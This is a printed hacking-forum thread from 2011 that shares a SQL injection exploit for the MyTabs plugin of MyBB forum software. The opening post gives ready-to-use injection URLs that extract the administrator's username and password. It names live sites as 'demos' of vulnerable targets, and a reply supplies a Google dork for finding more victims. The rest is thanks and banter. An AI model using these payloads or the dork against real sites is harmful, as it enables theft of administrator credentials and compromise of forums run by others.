Sinisterly
MyBB 0day \ MyTabs (plugin) SQL injection vulnerability - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: MyBB 0day \ MyTabs (plugin) SQL injection vulnerability (/Thread-MyBB-0day-MyTabs-plugin-SQL-injection-vulnerability)

MyBB 0day \ MyTabs (plugin) SQL injection vulnerability - MaLw4Re-Al - 08-02-2011

=====================================================================
MyBB 0day \ MyTabs (plugin) SQL injection vulnerability
=====================================================================

# Exploit title : MyBB 0day \ MyTabs (plugin) SQL injection vulnerability.
# Author: AutoRUN & dR.sqL
# Home : HackForums.AL , Autorun-Albania.COM , HackingWith.US , whiteh4t.com
# Date : 01 \ 08 \ 2011
# Tested on : Windows XP , Linux
# Category : web apps
# Software Link : http://mods.mybb.com/view/mytabs
# Google dork : Use your mind kid ^_^ !

Vulnerability :

$~ http://localhost/mybbpath/index.php?tab=[SQLi]

---------------------------------------
# ~ Expl0itation ~ #
---------------------------------------

$~ Get the administrator's username (usually it has uid=1) ~

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

$~ Get the administrator's password ~

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -


---------------------------------------
# ~ Demos ~ #
---------------------------------------

http://secworm.net/forums/index.php?tab=1' (secworm - Ethical Hacking & IT security forum - ROFL !)
http://icanhazcookie.net/index.php?tab=1'


+++++++++++++++++++++++++++++++++++++++++++++++++++++
For More
http://1337day.com/exploits/16587
http://www.exploit-db.com/exploits/17595

RE: MyBB 0day \ MyTabs (plugin) SQL injection vulnerability - Shining White - 08-02-2011

Fucking LOL ....... Biggrin Biggrin Biggrin

RE: MyBB 0day \ MyTabs (plugin) SQL injection vulnerability - 1234hotmaster - 08-02-2011

SWEET exploit!!! thanks for the share :thumbs:

PS: you can use this for a google dork
Code:
intext:Powered By MyBB, © 2002-2011 MyBB Group. & linurl:?tab=


RE: MyBB 0day \ MyTabs (plugin) SQL injection vulnerability - bspro - 08-02-2011

Yup nice thanks for the exploit lol thanks again

RE: MyBB 0day \ MyTabs (plugin) SQL injection vulnerability - MaLw4Re-Al - 08-02-2011

(08-02-2011, 12:38 PM)dr.sql Wrote: Malw4re-4L , thanks for sharing our exploit bro. Biggrin
Many hacking sites were & are (secworm) affected by this vulnerability lol Biggrin but i didn't touch any of them.
br0 i shared it everywhere and in hf.net but someone teld me that was old vuln and They deleted the thread


RE: MyBB 0day \ MyTabs (plugin) SQL injection vulnerability - MaLw4Re-Al - 08-02-2011

dont thank me , thank my friend who discover it